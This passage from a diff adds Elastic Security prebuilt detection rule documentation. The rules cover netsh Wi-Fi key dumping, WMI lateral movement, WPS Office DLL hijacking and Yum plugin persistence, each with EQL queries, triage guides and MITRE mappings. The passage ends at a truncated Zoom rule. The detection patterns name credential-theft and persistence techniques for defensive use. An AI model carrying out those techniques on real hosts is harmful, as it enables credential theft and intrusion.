alert timeframe: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : "wlan" and process.args : "key*clear" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wmi-incoming-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wmi-incoming-lateral-movement.asciidoc new file mode 100644 index 0000000000..52539f544d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wmi-incoming-lateral-movement.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-wmi-incoming-lateral-movement]] +=== WMI Incoming Lateral Movement + +Identifies processes executed via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement, but could be noisy if administrators use WMI to remotely manage hosts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WMI Incoming Lateral Movement* + + +Windows Management Instrumentation (WMI) is a core Windows feature enabling remote management and data collection. Adversaries exploit WMI for lateral movement by executing processes on remote hosts, often bypassing traditional security measures. The detection rule identifies suspicious WMI activity by monitoring specific network connections and process executions, filtering out common false positives to highlight potential threats. + + +*Possible investigation steps* + + +- Review the source IP address of the incoming RPC connection to determine if it is from a known or trusted network segment, excluding localhost addresses like 127.0.0.1 and ::1. +- Check the process name and parent process name, specifically looking for svchost.exe and WmiPrvSE.exe, to confirm the execution context and identify any unusual parent-child process relationships. +- Investigate the user ID associated with the process execution to ensure it is not a system account (S-1-5-18, S-1-5-19, S-1-5-20) and assess if the user has legitimate reasons for remote WMI activity. +- Examine the process executable path to verify it is not one of the excluded common false positives, such as those related to HPWBEM, SCCM, or other specified system utilities. +- Analyze the network connection details, including source and destination ports, to identify any patterns or anomalies that could indicate malicious lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to gather additional context and identify potential patterns of compromise. + + +*False positive analysis* + + +- Administrative use of WMI for remote management can trigger alerts. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff. +- Security tools like Nessus and SCCM may cause false positives. Exclude processes associated with these tools by adding their executables to the exception list. +- System processes running with high integrity levels might be flagged. Exclude processes with integrity levels marked as "System" to reduce noise. +- Specific executables such as msiexec.exe and appcmd.exe with certain arguments can be safely excluded if they are part of routine administrative tasks. +- Regularly review and update the exception list to ensure it aligns with current network management practices and tools. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools. +- Terminate any suspicious processes identified as being executed via WMI on the affected host. Use task management tools or scripts to stop these processes. +- Conduct a thorough review of the affected host's WMI logs and process execution history to identify any unauthorized changes or additional malicious activity. +- Reset credentials for any accounts that were used in the suspicious WMI activity, especially if they have administrative privileges, to prevent further unauthorized access. +- Apply patches and updates to the affected host and any other systems that may be vulnerable to similar exploitation methods, ensuring that all security updates are current. +- Enhance monitoring and logging for WMI activity across the network to detect and respond to similar threats more quickly in the future. This includes setting up alerts for unusual WMI usage patterns. +- If the threat is confirmed to be part of a larger attack, escalate the incident to the appropriate security team or authority for further investigation and potential legal action. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 20s + + /* Accepted Incoming RPC connection by Winmgmt service */ + + [network where host.os.type == "windows" and process.name : "svchost.exe" and network.direction : ("incoming", "ingress") and + source.ip != "127.0.0.1" and source.ip != "::1" and destination.port == 135] + + /* Excluding Common FPs Nessus and SCCM */ + + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "WmiPrvSE.exe" and + not (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + not ( + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not event.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + not process.executable : + ("?:\\Program Files\\HPWBEM\\Tools\\hpsum_swdiscovery.exe", + "?:\\Windows\\CCM\\Ccm32BitLauncher.exe", + "?:\\Windows\\System32\\wbem\\mofcomp.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\csc.exe", + "?:\\Windows\\System32\\powercfg.exe") and + not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "REBOOT=ReallySuppress") and + not (process.executable : "?:\\Windows\\System32\\inetsrv\\appcmd.exe" and process.args : "uninstall") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wps-office-exploitation-via-dll-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wps-office-exploitation-via-dll-hijack.asciidoc new file mode 100644 index 0000000000..762b73d9f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-wps-office-exploitation-via-dll-hijack.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-wps-office-exploitation-via-dll-hijack]] +=== WPS Office Exploitation via DLL Hijack + +Identifies the load of a remote library by the WPS Office promecefpluginhost.exe executable. This may indicate the successful exploitation of CVE-2024-7262 or CVE-2024-7263 via DLL hijack abusing the ksoqing custom protocol handler. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/en/eset-research/analysis-of-two-arbitrary-code-execution-vulnerabilities-affecting-wps-office/ +* https://mp.weixin.qq.com/s/F8hNyESBdKhwXkQPgtGpew + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 105 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WPS Office Exploitation via DLL Hijack* + + +DLL hijacking exploits the way applications load dynamic link libraries (DLLs), allowing adversaries to execute malicious code. In WPS Office, attackers may exploit vulnerabilities by loading a rogue DLL via the promecefpluginhost.exe process, leveraging the ksoqing protocol. The detection rule identifies suspicious DLL loads from temporary or network paths, signaling potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is promecefpluginhost.exe and check if the event category is either "library" or "process" with the action "Image loaded*". +- Examine the DLL or file path involved in the alert to determine if it matches suspicious paths such as those in the user's Temp directory or network paths like \\Device\\Mup\\** or \\*. +- Investigate the source of the DLL by checking the file's origin, creation date, and any associated network activity to identify potential malicious downloads or transfers. +- Analyze the process tree to understand the parent and child processes of promecefpluginhost.exe, looking for any unusual or unexpected behavior that might indicate exploitation. +- Check for any other alerts or logs related to the same host or user account to identify patterns or repeated attempts of exploitation. +- Correlate the findings with known vulnerabilities CVE-2024-7262 and CVE-2024-7263 to assess if the observed activity aligns with known exploitation techniques. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily load DLLs from network paths or temporary directories. Users can create exceptions for known update processes or trusted software installations to prevent false alerts. +- Some enterprise environments use network-based storage solutions that may trigger alerts when legitimate DLLs are loaded from these paths. Administrators can whitelist specific network paths or devices that are known to host trusted libraries. +- Custom scripts or automation tools that interact with WPS Office might inadvertently load DLLs from temporary directories. Identifying and excluding these scripts or tools from monitoring can reduce false positives. +- Security software or system maintenance tools may perform scans or operations that mimic the behavior of DLL hijacking. Users should verify and exclude these tools if they are known to cause benign alerts. +- In environments where WPS Office is heavily used, consider monitoring the frequency and context of alerts to distinguish between normal usage patterns and potential threats, adjusting the rule parameters accordingly. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further exploitation or lateral movement by the attacker. +- Terminate the promecefpluginhost.exe process to stop any ongoing malicious activity and prevent further DLL hijacking attempts. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious DLLs or other malware. +- Review and clean up the temporary and network paths identified in the detection query, specifically focusing on the AppData\Local\Temp\wps\INetCache directory and any suspicious network shares. +- Apply patches or updates for WPS Office to address the vulnerabilities CVE-2024-7262 and CVE-2024-7263, ensuring that the software is up to date and less susceptible to exploitation. +- Monitor for any further suspicious activity related to the ksoqing protocol or similar DLL hijacking attempts, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and process.name : "promecefpluginhost.exe" and +( + (event.category == "library" and + ?dll.path : + ("?:\\Users\\*\\AppData\\Local\\Temp\\wps\\INetCache\\*", + "\\Device\\Mup\\**", "\\\\*")) or + + ((event.category == "process" and event.action : "Image loaded*") and + ?file.path : + ("?:\\Users\\*\\AppData\\Local\\Temp\\wps\\INetCache\\*", + "\\Device\\Mup\\**", "\\\\*")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-dnf-plugin-status-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-dnf-plugin-status-discovery.asciidoc new file mode 100644 index 0000000000..4894df5b76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-dnf-plugin-status-discovery.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-yum-dnf-plugin-status-discovery]] +=== Yum/DNF Plugin Status Discovery + +This rule detects the execution of the `grep` command with the `plugins` argument on Linux systems. This command is used to search for YUM/DNF configurations and/or plugins with an enabled state. This behavior may indicate an attacker is attempting to establish persistence in a YUM or DNF plugin. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/yum_package_manager_persistence.rb +* https://pwnshift.github.io/2020/10/01/persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Yum/DNF Plugin Status Discovery* + + +Yum and DNF are package managers for Linux, managing software installations and updates. They support plugins to extend functionality, which can be targeted by attackers to maintain persistence. Adversaries may use commands to identify active plugins, potentially altering them for malicious purposes. The detection rule identifies suspicious use of the `grep` command to search for plugin configurations, signaling possible reconnaissance or tampering attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `grep` command with arguments related to plugin configurations, such as `/etc/yum.conf` or `/etc/dnf/dnf.conf`, to verify the alert's accuracy. +- Examine the user account associated with the process execution to determine if it is a legitimate user or potentially compromised account. +- Check the system's command history for any preceding or subsequent commands executed by the same user to identify potential patterns or further suspicious activity. +- Investigate any recent changes to the plugin configuration files located in directories like `/etc/yum/pluginconf.d/` or `/etc/dnf/plugins/` to detect unauthorized modifications. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related malicious activity. + + +*False positive analysis* + + +- System administrators or automated scripts may use the grep command to verify plugin configurations during routine maintenance. To handle this, create exceptions for known administrative scripts or user accounts that regularly perform these checks. +- Security audits or compliance checks might involve scanning for plugin configurations to ensure they are correctly set up. Exclude these activities by identifying and whitelisting the specific processes or tools used for such audits. +- Developers or IT staff might search for plugin configurations while troubleshooting or developing new features. Consider excluding processes initiated by trusted development environments or specific user groups involved in these activities. +- Monitoring tools that perform regular checks on system configurations could trigger this rule. Identify these tools and add them to an exclusion list to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes related to the `grep` command that are actively searching for YUM/DNF plugin configurations. +- Conduct a thorough review of the YUM and DNF plugin configuration files and directories for unauthorized changes or additions, specifically in the paths `/etc/yum.conf`, `/usr/lib/yum-plugins/*`, `/etc/yum/pluginconf.d/*`, `/usr/lib/python*/site-packages/dnf-plugins/*`, `/etc/dnf/plugins/*`, and `/etc/dnf/dnf.conf`. +- Restore any altered plugin configurations from a known good backup to ensure system integrity. +- Implement file integrity monitoring on the YUM and DNF configuration directories to detect future unauthorized changes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Review and update access controls and permissions for users and processes interacting with YUM and DNF configurations to minimize the risk of unauthorized access. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "grep" and process.args : "plugins*" and process.args like ( + "/etc/yum.conf", "/usr/lib/yum-plugins/*", "/etc/yum/pluginconf.d/*", + "/usr/lib/python*/site-packages/dnf-plugins/*", "/etc/dnf/plugins/*", "/etc/dnf/dnf.conf" +) and +not ?process.parent.executable == "/usr/lib/venv-salt-minion/bin/python.original" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-package-manager-plugin-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-package-manager-plugin-file-creation.asciidoc new file mode 100644 index 0000000000..35b9a31023 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-yum-package-manager-plugin-file-creation.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-20-yum-package-manager-plugin-file-creation]] +=== Yum Package Manager Plugin File Creation + +Detects file creation events in the plugin directories for the Yum package manager. In Linux, Yum (Yellowdog Updater, Modified) is a command-line utility used for handling packages on (by default) Fedora-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor Yum to gain persistence by injecting malicious code into plugins that Yum runs, thereby ensuring continued unauthorized access or control each time Yum is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/yum_package_manager_persistence.rb +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Yum Package Manager Plugin File Creation* + + +The Yum package manager is integral to managing software on Fedora-based Linux systems, utilizing plugins to extend its functionality. Adversaries may exploit this by inserting malicious code into these plugins, ensuring persistent access whenever Yum is executed. The detection rule identifies suspicious file creation in plugin directories, excluding legitimate processes and temporary files, to flag potential unauthorized modifications. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to confirm if it matches the plugin directories "/usr/lib/yum-plugins/*" or "/etc/yum/pluginconf.d/*". +- Identify the process responsible for the file creation by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the exclusion criteria. +- Check the file extension and name to ensure it is not a temporary or excluded file type, such as those with extensions "swp", "swpx", "swx", or names starting with ".ansible". +- Investigate the origin and legitimacy of the process by correlating with other system logs or using threat intelligence to determine if the process is known to be associated with malicious activity. +- Assess the file content for any signs of malicious code or unauthorized modifications, especially if the file is a script or configuration file. +- Determine if there have been any recent changes or updates to the system that could explain the file creation, such as legitimate software installations or updates. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger file creation events in Yum plugin directories. To handle these, users can create exceptions for known package management processes like rpm, dnf, and yum, which are already included in the rule's exclusion list. +- Temporary files created by text editors or system processes, such as those with extensions like swp, swpx, or swx, can be safely excluded as they are typically non-threatening. Ensure these extensions are part of the exclusion criteria. +- Automation tools like Ansible may generate temporary files in the plugin directories. Users can exclude file names starting with .ansible or .ansible_tmp to prevent false positives from these operations. +- Processes running from specific directories like /nix/store or /var/lib/dpkg are often part of legitimate system operations. Users should verify these paths and include them in the exclusion list if they are part of regular system behavior. +- System maintenance scripts or tools like sed and perl may create temporary files during their execution. Users can exclude these specific process names and file patterns to reduce false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes that may be running as a result of the malicious plugin modification to halt any ongoing malicious activity. +- Restore the compromised plugin files from a known good backup to ensure the integrity of the Yum package manager's functionality. +- Conduct a thorough review of user accounts and permissions on the affected system to identify and remove any unauthorized access or privilege escalations. +- Implement file integrity monitoring on the Yum plugin directories to detect any future unauthorized modifications promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path : ("/usr/lib/yum-plugins/*", "/etc/yum/pluginconf.d/*") and not ( + process.executable in ( + "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", "/usr/bin/microdnf", "/bin/rpm", + "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", "/bin/puppet", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/bin/autossl_check", + "/usr/bin/autossl_check", "/proc/self/exe", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", + "/usr/libexec/netplan/generate", "./usr/bin/podman" + ) or + process.name in ("yumBackend.py", "crio", "dockerd") or + file.extension in ("swp", "swpx", "swx") or + file.Ext.original.name like ".ansible*" or + file.name like ".ansible_tmp*" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*" + + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-zoom-meeting-with-no-passcode.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-zoom-meeting-with-no-passcode.asciidoc new file mode 100644 index 0000000000..4bc15b6ad6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-zoom-meeting-with-no-passcode.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-zoom-meeting-with-no-passcode]] +=== Zoom Meeting with no Passcode + 